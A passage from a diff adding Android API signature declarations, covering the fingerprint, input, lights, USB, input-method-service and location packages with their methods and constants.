+    field public static final int FINGERPRINT_ACQUIRED_IMAGER_DIRTY = 3; // 0x3
+    field public static final int FINGERPRINT_ACQUIRED_INSUFFICIENT = 2; // 0x2
+    field public static final int FINGERPRINT_ACQUIRED_PARTIAL = 1; // 0x1
+    field public static final int FINGERPRINT_ACQUIRED_TOO_FAST = 5; // 0x5
+    field public static final int FINGERPRINT_ACQUIRED_TOO_SLOW = 4; // 0x4
+    field public static final int FINGERPRINT_ERROR_CANCELED = 5; // 0x5
+    field public static final int FINGERPRINT_ERROR_HW_NOT_PRESENT = 12; // 0xc
+    field public static final int FINGERPRINT_ERROR_HW_UNAVAILABLE = 1; // 0x1
+    field public static final int FINGERPRINT_ERROR_LOCKOUT = 7; // 0x7
+    field public static final int FINGERPRINT_ERROR_LOCKOUT_PERMANENT = 9; // 0x9
+    field public static final int FINGERPRINT_ERROR_NO_FINGERPRINTS = 11; // 0xb
+    field public static final int FINGERPRINT_ERROR_NO_SPACE = 4; // 0x4
+    field public static final int FINGERPRINT_ERROR_TIMEOUT = 3; // 0x3
+    field public static final int FINGERPRINT_ERROR_UNABLE_TO_PROCESS = 2; // 0x2
+    field public static final int FINGERPRINT_ERROR_USER_CANCELED = 10; // 0xa
+    field public static final int FINGERPRINT_ERROR_VENDOR = 8; // 0x8
+  }
+
+  @Deprecated public abstract static class FingerprintManager.AuthenticationCallback {
+    ctor @Deprecated public FingerprintManager.AuthenticationCallback();
+    method @Deprecated public void onAuthenticationError(int, CharSequence);
+    method @Deprecated public void onAuthenticationFailed();
+    method @Deprecated public void onAuthenticationHelp(int, CharSequence);
+    method @Deprecated public void onAuthenticationSucceeded(android.hardware.fingerprint.FingerprintManager.AuthenticationResult);
+  }
+
+  @Deprecated public static class FingerprintManager.AuthenticationResult {
+    method @Deprecated public android.hardware.fingerprint.FingerprintManager.CryptoObject getCryptoObject();
+  }
+
+  @Deprecated public static final class FingerprintManager.CryptoObject {
+    ctor @Deprecated public FingerprintManager.CryptoObject(@NonNull java.security.Signature);
+    ctor @Deprecated public FingerprintManager.CryptoObject(@NonNull javax.crypto.Cipher);
+    ctor @Deprecated public FingerprintManager.CryptoObject(@NonNull javax.crypto.Mac);
+    method @Deprecated public javax.crypto.Cipher getCipher();
+    method @Deprecated public javax.crypto.Mac getMac();
+    method @Deprecated public java.security.Signature getSignature();
+  }
+
+}
+
+package android.hardware.input {
+
+  public final class InputManager {
+    method public android.view.InputDevice getInputDevice(int);
+    method public int[] getInputDeviceIds();
+    method @FloatRange(from=0, to=1) public float getMaximumObscuringOpacityForTouch();
+    method public void registerInputDeviceListener(android.hardware.input.InputManager.InputDeviceListener, android.os.Handler);
+    method public void unregisterInputDeviceListener(android.hardware.input.InputManager.InputDeviceListener);
+    method @Nullable public android.view.VerifiedInputEvent verifyInputEvent(@NonNull android.view.InputEvent);
+    field public static final String ACTION_QUERY_KEYBOARD_LAYOUTS = "android.hardware.input.action.QUERY_KEYBOARD_LAYOUTS";
+    field public static final String META_DATA_KEYBOARD_LAYOUTS = "android.hardware.input.metadata.KEYBOARD_LAYOUTS";
+  }
+
+  public static interface InputManager.InputDeviceListener {
+    method public void onInputDeviceAdded(int);
+    method public void onInputDeviceChanged(int);
+    method public void onInputDeviceRemoved(int);
+  }
+
+}
+
+package android.hardware.lights {
+
+  public final class Light implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getId();
+    method @NonNull public String getName();
+    method public int getOrdinal();
+    method public int getType();
+    method public boolean hasBrightnessControl();
+    method public boolean hasRgbControl();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.hardware.lights.Light> CREATOR;
+    field public static final int LIGHT_CAPABILITY_BRIGHTNESS = 1; // 0x1
+    field public static final int LIGHT_CAPABILITY_RGB = 0; // 0x0
+    field public static final int LIGHT_TYPE_INPUT = 10001; // 0x2711
+    field public static final int LIGHT_TYPE_MICROPHONE = 8; // 0x8
+    field public static final int LIGHT_TYPE_PLAYER_ID = 10002; // 0x2712
+  }
+
+  public final class LightState implements android.os.Parcelable {
+    method public int describeContents();
+    method @ColorInt public int getColor();
+    method public int getPlayerId();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.hardware.lights.LightState> CREATOR;
+  }
+
+  public static final class LightState.Builder {
+    ctor public LightState.Builder();
+    method @NonNull public android.hardware.lights.LightState build();
+    method @NonNull public android.hardware.lights.LightState.Builder setColor(@ColorInt int);
+    method @NonNull public android.hardware.lights.LightState.Builder setPlayerId(int);
+  }
+
+  public abstract class LightsManager {
+    method @NonNull public abstract android.hardware.lights.LightState getLightState(@NonNull android.hardware.lights.Light);
+    method @NonNull public abstract java.util.List<android.hardware.lights.Light> getLights();
+    method @NonNull public abstract android.hardware.lights.LightsManager.LightsSession openSession();
+  }
+
+  public abstract static class LightsManager.LightsSession implements java.lang.AutoCloseable {
+    method public abstract void close();
+    method public abstract void requestLights(@NonNull android.hardware.lights.LightsRequest);
+  }
+
+  public final class LightsRequest {
+    method @NonNull public java.util.List<android.hardware.lights.LightState> getLightStates();
+    method @NonNull public java.util.List<java.lang.Integer> getLights();
+    method @NonNull public java.util.Map<android.hardware.lights.Light,android.hardware.lights.LightState> getLightsAndStates();
+  }
+
+  public static final class LightsRequest.Builder {
+    ctor public LightsRequest.Builder();
+    method @NonNull public android.hardware.lights.LightsRequest.Builder addLight(@NonNull android.hardware.lights.Light, @NonNull android.hardware.lights.LightState);
+    method @NonNull public android.hardware.lights.LightsRequest build();
+    method @NonNull public android.hardware.lights.LightsRequest.Builder clearLight(@NonNull android.hardware.lights.Light);
+  }
+
+}
+
+package android.hardware.usb {
+
+  public class UsbAccessory implements android.os.Parcelable {
+    method public int describeContents();
+    method @Nullable public String getDescription();
+    method @NonNull public String getManufacturer();
+    method @NonNull public String getModel();
+    method @Nullable public String getSerial();
+    method @Nullable public String getUri();
+    method @Nullable public String getVersion();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.hardware.usb.UsbAccessory> CREATOR;
+  }
+
+  public class UsbConfiguration implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getId();
+    method @NonNull public android.hardware.usb.UsbInterface getInterface(int);
+    method public int getInterfaceCount();
+    method public int getMaxPower();
+    method @Nullable public String getName();
+    method public boolean isRemoteWakeup();
+    method public boolean isSelfPowered();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.hardware.usb.UsbConfiguration> CREATOR;
+  }
+
+  public final class UsbConstants {
+    ctor public UsbConstants();
+    field public static final int USB_CLASS_APP_SPEC = 254; // 0xfe
+    field public static final int USB_CLASS_AUDIO = 1; // 0x1
+    field public static final int USB_CLASS_CDC_DATA = 10; // 0xa
+    field public static final int USB_CLASS_COMM = 2; // 0x2
+    field public static final int USB_CLASS_CONTENT_SEC = 13; // 0xd
+    field public static final int USB_CLASS_CSCID = 11; // 0xb
+    field public static final int USB_CLASS_HID = 3; // 0x3
+    field public static final int USB_CLASS_HUB = 9; // 0x9
+    field public static final int USB_CLASS_MASS_STORAGE = 8; // 0x8
+    field public static final int USB_CLASS_MISC = 239; // 0xef
+    field public static final int USB_CLASS_PER_INTERFACE = 0; // 0x0
+    field public static final int USB_CLASS_PHYSICA = 5; // 0x5
+    field public static final int USB_CLASS_PRINTER = 7; // 0x7
+    field public static final int USB_CLASS_STILL_IMAGE = 6; // 0x6
+    field public static final int USB_CLASS_VENDOR_SPEC = 255; // 0xff
+    field public static final int USB_CLASS_VIDEO = 14; // 0xe
+    field public static final int USB_CLASS_WIRELESS_CONTROLLER = 224; // 0xe0
+    field public static final int USB_DIR_IN = 128; // 0x80
+    field public static final int USB_DIR_OUT = 0; // 0x0
+    field public static final int USB_ENDPOINT_DIR_MASK = 128; // 0x80
+    field public static final int USB_ENDPOINT_NUMBER_MASK = 15; // 0xf
+    field public static final int USB_ENDPOINT_XFERTYPE_MASK = 3; // 0x3
+    field public static final int USB_ENDPOINT_XFER_BULK = 2; // 0x2
+    field public static final int USB_ENDPOINT_XFER_CONTROL = 0; // 0x0
+    field public static final int USB_ENDPOINT_XFER_INT = 3; // 0x3
+    field public static final int USB_ENDPOINT_XFER_ISOC = 1; // 0x1
+    field public static final int USB_INTERFACE_SUBCLASS_BOOT = 1; // 0x1
+    field public static final int USB_SUBCLASS_VENDOR_SPEC = 255; // 0xff
+    field public static final int USB_TYPE_CLASS = 32; // 0x20
+    field public static final int USB_TYPE_MASK = 96; // 0x60
+    field public static final int USB_TYPE_RESERVED = 96; // 0x60
+    field public static final int USB_TYPE_STANDARD = 0; // 0x0
+    field public static final int USB_TYPE_VENDOR = 64; // 0x40
+  }
+
+  public class UsbDevice implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public android.hardware.usb.UsbConfiguration getConfiguration(int);
+    method public int getConfigurationCount();
+    method public int getDeviceClass();
+    method public int getDeviceId();
+    method public static int getDeviceId(String);
+    method @NonNull public String getDeviceName();
+    method public static String getDeviceName(int);
+    method public int getDeviceProtocol();
+    method public int getDeviceSubclass();
+    method @NonNull public android.hardware.usb.UsbInterface getInterface(int);
+    method public int getInterfaceCount();
+    method @Nullable public String getManufacturerName();
+    method public int getProductId();
+    method @Nullable public String getProductName();
+    method @Nullable public String getSerialNumber();
+    method public int getVendorId();
+    method @NonNull public String getVersion();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.hardware.usb.UsbDevice> CREATOR;
+  }
+
+  public class UsbDeviceConnection {
+    method public int bulkTransfer(android.hardware.usb.UsbEndpoint, byte[], int, int);
+    method public int bulkTransfer(android.hardware.usb.UsbEndpoint, byte[], int, int, int);
+    method public boolean claimInterface(android.hardware.usb.UsbInterface, boolean);
+    method public void close();
+    method public int controlTransfer(int, int, int, int, byte[], int, int);
+    method public int controlTransfer(int, int, int, int, byte[], int, int, int);
+    method public int getFileDescriptor();
+    method public byte[] getRawDescriptors();
+    method public String getSerial();
+    method public boolean releaseInterface(android.hardware.usb.UsbInterface);
+    method public android.hardware.usb.UsbRequest requestWait();
+    method public android.hardware.usb.UsbRequest requestWait(long) throws java.util.concurrent.TimeoutException;
+    method public boolean setConfiguration(android.hardware.usb.UsbConfiguration);
+    method public boolean setInterface(android.hardware.usb.UsbInterface);
+  }
+
+  public class UsbEndpoint implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getAddress();
+    method public int getAttributes();
+    method public int getDirection();
+    method public int getEndpointNumber();
+    method public int getInterval();
+    method public int getMaxPacketSize();
+    method public int getType();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.hardware.usb.UsbEndpoint> CREATOR;
+  }
+
+  public class UsbInterface implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getAlternateSetting();
+    method public android.hardware.usb.UsbEndpoint getEndpoint(int);
+    method public int getEndpointCount();
+    method public int getId();
+    method public int getInterfaceClass();
+    method public int getInterfaceProtocol();
+    method public int getInterfaceSubclass();
+    method @Nullable public String getName();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.hardware.usb.UsbInterface> CREATOR;
+  }
+
+  public class UsbManager {
+    method public android.hardware.usb.UsbAccessory[] getAccessoryList();
+    method public java.util.HashMap<java.lang.String,android.hardware.usb.UsbDevice> getDeviceList();
+    method public boolean hasPermission(android.hardware.usb.UsbDevice);
+    method public boolean hasPermission(android.hardware.usb.UsbAccessory);
+    method public android.os.ParcelFileDescriptor openAccessory(android.hardware.usb.UsbAccessory);
+    method public android.hardware.usb.UsbDeviceConnection openDevice(android.hardware.usb.UsbDevice);
+    method public void requestPermission(android.hardware.usb.UsbDevice, android.app.PendingIntent);
+    method public void requestPermission(android.hardware.usb.UsbAccessory, android.app.PendingIntent);
+    field public static final String ACTION_USB_ACCESSORY_ATTACHED = "android.hardware.usb.action.USB_ACCESSORY_ATTACHED";
+    field public static final String ACTION_USB_ACCESSORY_DETACHED = "android.hardware.usb.action.USB_ACCESSORY_DETACHED";
+    field public static final String ACTION_USB_DEVICE_ATTACHED = "android.hardware.usb.action.USB_DEVICE_ATTACHED";
+    field public static final String ACTION_USB_DEVICE_DETACHED = "android.hardware.usb.action.USB_DEVICE_DETACHED";
+    field public static final String EXTRA_ACCESSORY = "accessory";
+    field public static final String EXTRA_DEVICE = "device";
+    field public static final String EXTRA_PERMISSION_GRANTED = "permission";
+  }
+
+  public class UsbRequest {
+    ctor public UsbRequest();
+    method public boolean cancel();
+    method public void close();
+    method public Object getClientData();
+    method public android.hardware.usb.UsbEndpoint getEndpoint();
+    method public boolean initialize(android.hardware.usb.UsbDeviceConnection, android.hardware.usb.UsbEndpoint);
+    method @Deprecated public boolean queue(java.nio.ByteBuffer, int);
+    method public boolean queue(@Nullable java.nio.ByteBuffer);
+    method public void setClientData(Object);
+  }
+
+}
+
+package android.inputmethodservice {
+
+  public abstract class AbstractInputMethodService extends android.app.Service implements android.view.KeyEvent.Callback {
+    ctor public AbstractInputMethodService();
+    method public android.view.KeyEvent.DispatcherState getKeyDispatcherState();
+    method public final boolean isUiContext();
+    method public final android.os.IBinder onBind(android.content.Intent);
+    method public abstract android.inputmethodservice.AbstractInputMethodService.AbstractInputMethodImpl onCreateInputMethodInterface();
+    method public abstract android.inputmethodservice.AbstractInputMethodService.AbstractInputMethodSessionImpl onCreateInputMethodSessionInterface();
+    method public boolean onGenericMotionEvent(android.view.MotionEvent);
+    method public boolean onTrackballEvent(android.view.MotionEvent);
+  }
+
+  public abstract class AbstractInputMethodService.AbstractInputMethodImpl implements android.view.inputmethod.InputMethod {
+    ctor public AbstractInputMethodService.AbstractInputMethodImpl();
+    method @MainThread public void createSession(android.view.inputmethod.InputMethod.SessionCallback);
+    method @MainThread public void revokeSession(android.view.inputmethod.InputMethodSession);
+    method @MainThread public void setSessionEnabled(android.view.inputmethod.InputMethodSession, boolean);
+  }
+
+  public abstract class AbstractInputMethodService.AbstractInputMethodSessionImpl implements android.view.inputmethod.InputMethodSession {
+    ctor public AbstractInputMethodService.AbstractInputMethodSessionImpl();
+    method public void dispatchGenericMotionEvent(int, android.view.MotionEvent, android.view.inputmethod.InputMethodSession.EventCallback);
+    method public void dispatchKeyEvent(int, android.view.KeyEvent, android.view.inputmethod.InputMethodSession.EventCallback);
+    method public void dispatchTrackballEvent(int, android.view.MotionEvent, android.view.inputmethod.InputMethodSession.EventCallback);
+    method public boolean isEnabled();
+    method public boolean isRevoked();
+    method public void revokeSelf();
+    method public void setEnabled(boolean);
+  }
+
+  public class ExtractEditText extends android.widget.EditText {
+    ctor public ExtractEditText(android.content.Context);
+    ctor public ExtractEditText(android.content.Context, android.util.AttributeSet);
+    ctor public ExtractEditText(android.content.Context, android.util.AttributeSet, int);
+    ctor public ExtractEditText(android.content.Context, android.util.AttributeSet, int, int);
+    method public void finishInternalChanges();
+    method public boolean hasVerticalScrollBar();
+    method public void startInternalChanges();
+  }
+
+  @UiContext public class InputMethodService extends android.inputmethodservice.AbstractInputMethodService {
+    ctor public InputMethodService();
+    method @Deprecated public boolean enableHardwareAcceleration();
+    method public int getBackDisposition();
+    method public int getCandidatesHiddenVisibility();
+    method public android.view.inputmethod.InputBinding getCurrentInputBinding();
+    method public android.view.inputmethod.InputConnection getCurrentInputConnection();
+    method public android.view.inputmethod.EditorInfo getCurrentInputEditorInfo();
+    method public boolean getCurrentInputStarted();
+    method @Deprecated public int getInputMethodWindowRecommendedHeight();
+    method public android.view.LayoutInflater getLayoutInflater();
+    method public int getMaxWidth();
+    method public CharSequence getTextForImeAction(int);
+    method public android.app.Dialog getWindow();
+    method public void hideStatusIcon();
+    method public void hideWindow();
+    method public boolean isExtractViewShown();
+    method public boolean isFullscreenMode();
+    method public boolean isInputViewShown();
+    method public boolean isShowInputRequested();
+    method public void onAppPrivateCommand(String, android.os.Bundle);
+    method public void onBindInput();
+    method public void onComputeInsets(android.inputmethodservice.InputMethodService.Insets);
+    method public void onConfigureWindow(android.view.Window, boolean, boolean);
+    method public android.view.View onCreateCandidatesView();
+    method public android.view.View onCreateExtractTextView();
+    method @Nullable public android.view.inputmethod.InlineSuggestionsRequest onCreateInlineSuggestionsRequest(@NonNull android.os.Bundle);
+    method public android.inputmethodservice.AbstractInputMethodService.AbstractInputMethodImpl onCreateInputMethodInterface();
+    method public android.inputmethodservice.AbstractInputMethodService.AbstractInputMethodSessionImpl onCreateInputMethodSessionInterface();
+    method public android.view.View onCreateInputView();
+    method protected void onCurrentInputMethodSubtypeChanged(android.view.inputmethod.InputMethodSubtype);
+    method public void onDisplayCompletions(android.view.inputmethod.CompletionInfo[]);
+    method public boolean onEvaluateFullscreenMode();
+    method @CallSuper public boolean onEvaluateInputViewShown();
+    method public boolean onExtractTextContextMenuItem(int);
+    method public void onExtractedCursorMovement(int, int);
+    method public void onExtractedSelectionChanged(int, int);
+    method public void onExtractedTextClicked();
+    method public void onExtractingInputChanged(android.view.inputmethod.EditorInfo);
+    method public void onFinishCandidatesView(boolean);
+    method public void onFinishInput();
+    method public void onFinishInputView(boolean);
+    method public void onInitializeInterface();
+    method public boolean onInlineSuggestionsResponse(@NonNull android.view.inputmethod.InlineSuggestionsResponse);
+    method public boolean onKeyDown(int, android.view.KeyEvent);
+    method public boolean onKeyLongPress(int, android.view.KeyEvent);
+    method public boolean onKeyMultiple(int, int, android.view.KeyEvent);
+    method public boolean onKeyUp(int, android.view.KeyEvent);
+    method public boolean onShowInputRequested(int, boolean);
+    method public void onStartCandidatesView(android.view.inputmethod.EditorInfo, boolean);
+    method public void onStartInput(android.view.inputmethod.EditorInfo, boolean);
+    method public void onStartInputView(android.view.inputmethod.EditorInfo, boolean);
+    method public void onUnbindInput();
+    method @Deprecated public void onUpdateCursor(android.graphics.Rect);
+    method public void onUpdateCursorAnchorInfo(android.view.inputmethod.CursorAnchorInfo);
+    method public void onUpdateExtractedText(int, android.view.inputmethod.ExtractedText);
+    method public void onUpdateExtractingViews(android.view.inputmethod.EditorInfo);
+    method public void onUpdateExtractingVisibility(android.view.inputmethod.EditorInfo);
+    method public void onUpdateSelection(int, int, int, int, int, int);
+    method @Deprecated public void onViewClicked(boolean);
+    method public void onWindowHidden();
+    method public void onWindowShown();
+    method public void requestHideSelf(int);
+    method public final void requestShowSelf(int);
+    method public boolean sendDefaultEditorAction(boolean);
+    method public void sendDownUpKeyEvents(int);
+    method public void sendKeyChar(char);
+    method public void setBackDisposition(int);
+    method public void setCandidatesView(android.view.View);
+    method public void setCandidatesViewShown(boolean);
+    method public void setExtractView(android.view.View);
+    method public void setExtractViewShown(boolean);
+    method public void setInputView(android.view.View);
+    method public final boolean shouldOfferSwitchingToNextInputMethod();
+    method public void showStatusIcon(@DrawableRes int);
+    method public void showWindow(boolean);
+    method public void switchInputMethod(String);
+    method public final void switchInputMethod(String, android.view.inputmethod.InputMethodSubtype);
+    method public final boolean switchToNextInputMethod(boolean);
+    method public final boolean switchToPreviousInputMethod();
+    method public void updateFullscreenMode();
+    method public void updateInputViewShown();
+    field public static final int BACK_DISPOSITION_ADJUST_NOTHING = 3; // 0x3
+    field public static final int BACK_DISPOSITION_DEFAULT = 0; // 0x0
+    field @Deprecated public static final int BACK_DISPOSITION_WILL_DISMISS = 2; // 0x2
+    field @Deprecated public static final int BACK_DISPOSITION_WILL_NOT_DISMISS = 1; // 0x1
+  }
+
+  public class InputMethodService.InputMethodImpl extends android.inputmethodservice.AbstractInputMethodService.AbstractInputMethodImpl {
+    ctor public InputMethodService.InputMethodImpl();
+    method @MainThread public void attachToken(android.os.IBinder);
+    method @MainThread public void bindInput(android.view.inputmethod.InputBinding);
+    method @MainThread public void changeInputMethodSubtype(android.view.inputmethod.InputMethodSubtype);
+    method @MainThread public void hideSoftInput(int, android.os.ResultReceiver);
+    method @MainThread public void restartInput(android.view.inputmethod.InputConnection, android.view.inputmethod.EditorInfo);
+    method @MainThread public void showSoftInput(int, android.os.ResultReceiver);
+    method @MainThread public void startInput(android.view.inputmethod.InputConnection, android.view.inputmethod.EditorInfo);
+    method @MainThread public void unbindInput();
+  }
+
+  public class InputMethodService.InputMethodSessionImpl extends android.inputmethodservice.AbstractInputMethodService.AbstractInputMethodSessionImpl {
+    ctor public InputMethodService.InputMethodSessionImpl();
+    method public void appPrivateCommand(String, android.os.Bundle);
+    method public void displayCompletions(android.view.inputmethod.CompletionInfo[]);
+    method public void finishInput();
+    method @Deprecated public void toggleSoftInput(int, int);
+    method public void updateCursor(android.graphics.Rect);
+    method public void updateCursorAnchorInfo(android.view.inputmethod.CursorAnchorInfo);
+    method public void updateExtractedText(int, android.view.inputmethod.ExtractedText);
+    method public void updateSelection(int, int, int, int, int, int);
+    method public void viewClicked(boolean);
+  }
+
+  public static final class InputMethodService.Insets {
+    ctor public InputMethodService.Insets();
+    field public static final int TOUCHABLE_INSETS_CONTENT = 1; // 0x1
+    field public static final int TOUCHABLE_INSETS_FRAME = 0; // 0x0
+    field public static final int TOUCHABLE_INSETS_REGION = 3; // 0x3
+    field public static final int TOUCHABLE_INSETS_VISIBLE = 2; // 0x2
+    field public int contentTopInsets;
+    field public int touchableInsets;
+    field public final android.graphics.Region touchableRegion;
+    field public int visibleTopInsets;
+  }
+
+  @Deprecated public class Keyboard {
+    ctor @Deprecated public Keyboard(android.content.Context, int);
+    ctor @Deprecated public Keyboard(android.content.Context, @XmlRes int, int, int, int);
+    ctor @Deprecated public Keyboard(android.content.Context, @XmlRes int, int);
+    ctor @Deprecated public Keyboard(android.content.Context, int, CharSequence, int, int);
+    method @Deprecated protected android.inputmethodservice.Keyboard.Key createKeyFromXml(android.content.res.Resources, android.inputmethodservice.Keyboard.Row, int, int, android.content.res.XmlResourceParser);
+    method @Deprecated protected android.inputmethodservice.Keyboard.Row createRowFromXml(android.content.res.Resources, android.content.res.XmlResourceParser);
+    method @Deprecated public int getHeight();
+    method @Deprecated protected int getHorizontalGap();
+    method @Deprecated protected int getKeyHeight();
+    method @Deprecated protected int getKeyWidth();
+    method @Deprecated public java.util.List<android.inputmethodservice.Keyboard.Key> getKeys();
+    method @Deprecated public int getMinWidth();
+    method @Deprecated public java.util.List<android.inputmethodservice.Keyboard.Key> getModifierKeys();
+    method @Deprecated public int[] getNearestKeys(int, int);
+    method @Deprecated public int getShiftKeyIndex();
+    method @Deprecated protected int getVerticalGap();
+    method @Deprecated public boolean isShifted();
+    method @Deprecated protected void setHorizontalGap(int);
+    method @Deprecated protected void setKeyHeight(int);
+    method @Deprecated protected void setKeyWidth(int);
+    method @Deprecated public boolean setShifted(boolean);
+    method @Deprecated protected void setVerticalGap(int);
+    field @Deprecated public static final int EDGE_BOTTOM = 8; // 0x8
+    field @Deprecated public static final int EDGE_LEFT = 1; // 0x1
+    field @Deprecated public static final int EDGE_RIGHT = 2; // 0x2
+    field @Deprecated public static final int EDGE_TOP = 4; // 0x4
+    field @Deprecated public static final int KEYCODE_ALT = -6; // 0xfffffffa
+    field @Deprecated public static final int KEYCODE_CANCEL = -3; // 0xfffffffd
+    field @Deprecated public static final int KEYCODE_DELETE = -5; // 0xfffffffb
+    field @Deprecated public static final int KEYCODE_DONE = -4; // 0xfffffffc
+    field @Deprecated public static final int KEYCODE_MODE_CHANGE = -2; // 0xfffffffe
+    field @Deprecated public static final int KEYCODE_SHIFT = -1; // 0xffffffff
+  }
+
+  @Deprecated public static class Keyboard.Key {
+    ctor @Deprecated public Keyboard.Key(android.inputmethodservice.Keyboard.Row);
+    ctor @Deprecated public Keyboard.Key(android.content.res.Resources, android.inputmethodservice.Keyboard.Row, int, int, android.content.res.XmlResourceParser);
+    method @Deprecated public int[] getCurrentDrawableState();
+    method @Deprecated public boolean isInside(int, int);
+    method @Deprecated public void onPressed();
+    method @Deprecated public void onReleased(boolean);
+    method @Deprecated public int squaredDistanceFrom(int, int);
+    field @Deprecated public int[] codes;
+    field @Deprecated public int edgeFlags;
+    field @Deprecated public int gap;
+    field @Deprecated public int height;
+    field @Deprecated public android.graphics.drawable.Drawable icon;
+    field @Deprecated public android.graphics.drawable.Drawable iconPreview;
+    field @Deprecated public CharSequence label;
+    field @Deprecated public boolean modifier;
+    field @Deprecated public boolean on;
+    field @Deprecated public CharSequence popupCharacters;
+    field @Deprecated public int popupResId;
+    field @Deprecated public boolean pressed;
+    field @Deprecated public boolean repeatable;
+    field @Deprecated public boolean sticky;
+    field @Deprecated public CharSequence text;
+    field @Deprecated public int width;
+    field @Deprecated public int x;
+    field @Deprecated public int y;
+  }
+
+  @Deprecated public static class Keyboard.Row {
+    ctor @Deprecated public Keyboard.Row(android.inputmethodservice.Keyboard);
+    ctor @Deprecated public Keyboard.Row(android.content.res.Resources, android.inputmethodservice.Keyboard, android.content.res.XmlResourceParser);
+    field @Deprecated public int defaultHeight;
+    field @Deprecated public int defaultHorizontalGap;
+    field @Deprecated public int defaultWidth;
+    field @Deprecated public int mode;
+    field @Deprecated public int rowEdgeFlags;
+    field @Deprecated public int verticalGap;
+  }
+
+  @Deprecated public class KeyboardView extends android.view.View implements android.view.View.OnClickListener {
+    ctor @Deprecated public KeyboardView(android.content.Context, android.util.AttributeSet);
+    ctor @Deprecated public KeyboardView(android.content.Context, android.util.AttributeSet, int);
+    ctor @Deprecated public KeyboardView(android.content.Context, android.util.AttributeSet, int, int);
+    method @Deprecated public void closing();
+    method @Deprecated public android.inputmethodservice.Keyboard getKeyboard();
+    method @Deprecated protected android.inputmethodservice.KeyboardView.OnKeyboardActionListener getOnKeyboardActionListener();
+    method @Deprecated public boolean handleBack();
+    method @Deprecated public void invalidateAllKeys();
+    method @Deprecated public void invalidateKey(int);
+    method @Deprecated public boolean isPreviewEnabled();
+    method @Deprecated public boolean isProximityCorrectionEnabled();
+    method @Deprecated public boolean isShifted();
+    method public void onClick(android.view.View);
+    method @Deprecated public void onDetachedFromWindow();
+    method @Deprecated public void onDraw(android.graphics.Canvas);
+    method @Deprecated protected boolean onLongPress(android.inputmethodservice.Keyboard.Key);
+    method @Deprecated public void onMeasure(int, int);
+    method @Deprecated public void onSizeChanged(int, int, int, int);
+    method @Deprecated public void setKeyboard(android.inputmethodservice.Keyboard);
+    method @Deprecated public void setOnKeyboardActionListener(android.inputmethodservice.KeyboardView.OnKeyboardActionListener);
+    method @Deprecated public void setPopupOffset(int, int);
+    method @Deprecated public void setPopupParent(android.view.View);
+    method @Deprecated public void setPreviewEnabled(boolean);
+    method @Deprecated public void setProximityCorrectionEnabled(boolean);
+    method @Deprecated public boolean setShifted(boolean);
+    method @Deprecated public void setVerticalCorrection(int);
+    method @Deprecated protected void swipeDown();
+    method @Deprecated protected void swipeLeft();
+    method @Deprecated protected void swipeRight();
+    method @Deprecated protected void swipeUp();
+  }
+
+  @Deprecated public static interface KeyboardView.OnKeyboardActionListener {
+    method @Deprecated public void onKey(int, int[]);
+    method @Deprecated public void onPress(int);
+    method @Deprecated public void onRelease(int);
+    method @Deprecated public void onText(CharSequence);
+    method @Deprecated public void swipeDown();
+    method @Deprecated public void swipeLeft();
+    method @Deprecated public void swipeRight();
+    method @Deprecated public void swipeUp();
+  }
+
+}
+
+package android.location {
+
+  public class Address implements android.os.Parcelable {
+    ctor public Address(java.util.Locale);
+    method public void clearLatitude();
+    method public void clearLongitude();
+    method public int describeContents();
+    method public String getAddressLine(int);
+    method public String getAdminArea();
+    method public String getCountryCode();
+    method public String getCountryName();
+    method public android.os.Bundle getExtras();
+    method public String getFeatureName();
+    method public double getLatitude();
+    method public java.util.Locale getLocale();
+    method public String getLocality();
+    method public double getLongitude();
+    method public int getMaxAddressLineIndex();
+    method public String getPhone();
+    method public String getPostalCode();
+    method public String getPremises();
+    method public String getSubAdminArea();
+    method public String getSubLocality();
+    method public String getSubThoroughfare();
+    method public String getThoroughfare();
+    method public String getUrl();
+    method public boolean hasLatitude();
+    method public boolean hasLongitude();
+    method public void setAddressLine(int, String);
+    method public void setAdminArea(String);
+    method public void setCountryCode(String);
+    method public void setCountryName(String);
+    method public void setExtras(android.os.Bundle);
+    method public void setFeatureName(String);
+    method public void setLatitude(double);
+    method public void setLocality(String);
+    method public void setLongitude(double);
+    method public void setPhone(String);
+    method public void setPostalCode(String);
+    method public void setPremises(String);
+    method public void setSubAdminArea(String);
+    method public void setSubLocality(String);
+    method public void setSubThoroughfare(String);
+    method public void setThoroughfare(String);
+    method public void setUrl(String);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.location.Address> CREATOR;
+  }
+
+  public class Criteria implements android.os.Parcelable {
+    ctor public Criteria();
+    ctor public Criteria(android.location.Criteria);
+    method public int describeContents();
+    method public int getAccuracy();
+    method public int getBearingAccuracy();
+    method public int getHorizontalAccuracy();
+    method public int getPowerRequirement();
+    method public int getSpeedAccuracy();
+    method public int getVerticalAccuracy();
+    method public boolean isAltitudeRequired();
+    method public boolean isBearingRequired();
+    method public boolean isCostAllowed();
+    method public boolean isSpeedRequired();
+    method public void setAccuracy(int);
+    method public void setAltitudeRequired(boolean);
+    method public void setBearingAccuracy(int);
+    method public void setBearingRequired(boolean);
+    method public void setCostAllowed(boolean);
+    method public void setHorizontalAccuracy(int);
+    method public void setPowerRequirement(int);
+    method public void setSpeedAccuracy(int);
+    method public void setSpeedRequired(boolean);
+    method public void setVerticalAccuracy(int);
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int ACCURACY_COARSE = 2; // 0x2
+    field public static final int ACCURACY_FINE = 1; // 0x1
+    field public static final int ACCURACY_HIGH = 3; // 0x3
+    field public static final int ACCURACY_LOW = 1; // 0x1
+    field public static final int ACCURACY_MEDIUM = 2; // 0x2
